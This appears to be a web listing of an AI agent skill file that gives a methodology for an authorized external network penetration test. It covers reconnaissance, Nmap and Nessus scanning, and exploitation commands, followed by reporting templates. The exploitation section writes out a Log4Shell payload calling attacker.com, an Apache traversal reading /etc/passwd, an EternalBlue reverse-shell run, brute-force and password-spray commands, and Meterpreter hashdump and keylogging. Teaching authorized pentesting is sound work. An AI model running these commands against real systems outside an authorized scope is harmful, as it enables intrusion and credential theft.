external/anthropic-cybersecurity-skills/skills/performing-external-network-penetration-test/SKILL.md
Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.
npx skillsauth add seikaikyo/dash-skills performing-external-network-penetration-testInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.
Scope:
- Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
- Domains: *.target.com, *.target.io
- Exclusions: 203.0.113.50 (production DB), *.staging.target.com
- Testing window: Mon-Fri 22:00-06:00 UTC
- Emergency contact: SOC Lead — +1-555-0100
- Authorization ID: PENTEST-2025-EXT-042
| Document | Status | Owner | |----------|--------|-------| | Master Service Agreement (MSA) | Signed | Legal | | Statement of Work (SOW) | Signed | PM | | Rules of Engagement (RoE) | Signed | CISO | | Get-Out-of-Jail Letter | Signed | CTO | | NDA | Signed | Legal | | Insurance Certificate | Verified | Risk |
# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"
# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results
# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com
# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
# OpenVAS scan
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm
# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txt
# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2
# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode
# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e [email protected]
# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav
# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch
# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg
# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt
# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start
| Severity | CVSS Range | Count | Example | |----------|-----------|-------|---------| | Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) | | High | 7.0-8.9 | 5 | SQL Injection in customer portal | | Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 | | Low | 0.1-3.9 | 12 | Information disclosure via server banners | | Info | 0.0 | 6 | Open ports documentation |
1. Executive Summary
- Scope and objectives
- Key findings summary
- Risk rating overview
- Strategic recommendations
2. Technical Findings
For each finding:
- Title and CVSS score
- Affected asset(s)
- Description and impact
- Steps to reproduce (with screenshots)
- Evidence/proof of exploitation
- Remediation recommendation
- References (CVE, CWE)
3. Methodology
- Tools used
- Testing timeline
- Frameworks followed (PTES, OWASP)
4. Appendices
- Full scan results
- Network diagrams
- Raw tool output
| Priority | Timeline | Action | |----------|----------|--------| | P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels | | P2 — High | 1-2 weeks | Fix injection flaws, implement MFA | | P3 — Medium | 30 days | Harden TLS configs, add security headers | | P4 — Low | 60-90 days | Remove version banners, update documentation |
| Tool | Purpose | License | |------|---------|---------| | Nmap | Port scanning and service enumeration | GPLv2 | | Metasploit | Exploitation framework | BSD | | Burp Suite Pro | Web application testing | Commercial | | Nuclei | Vulnerability scanning | MIT | | Subfinder | Subdomain enumeration | MIT | | SQLMap | SQL injection testing | GPLv2 | | Nessus | Vulnerability scanner | Commercial | | Gobuster | Directory brute-forcing | Apache 2.0 | | Hashcat | Password cracking | MIT | | theHarvester | OSINT email/domain harvesting | GPLv2 |
development
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
Reference for writing and editing agent skills well — the vocabulary and principles that make a skill predictable. Consult when authoring, reviewing, or pruning a SKILL.md.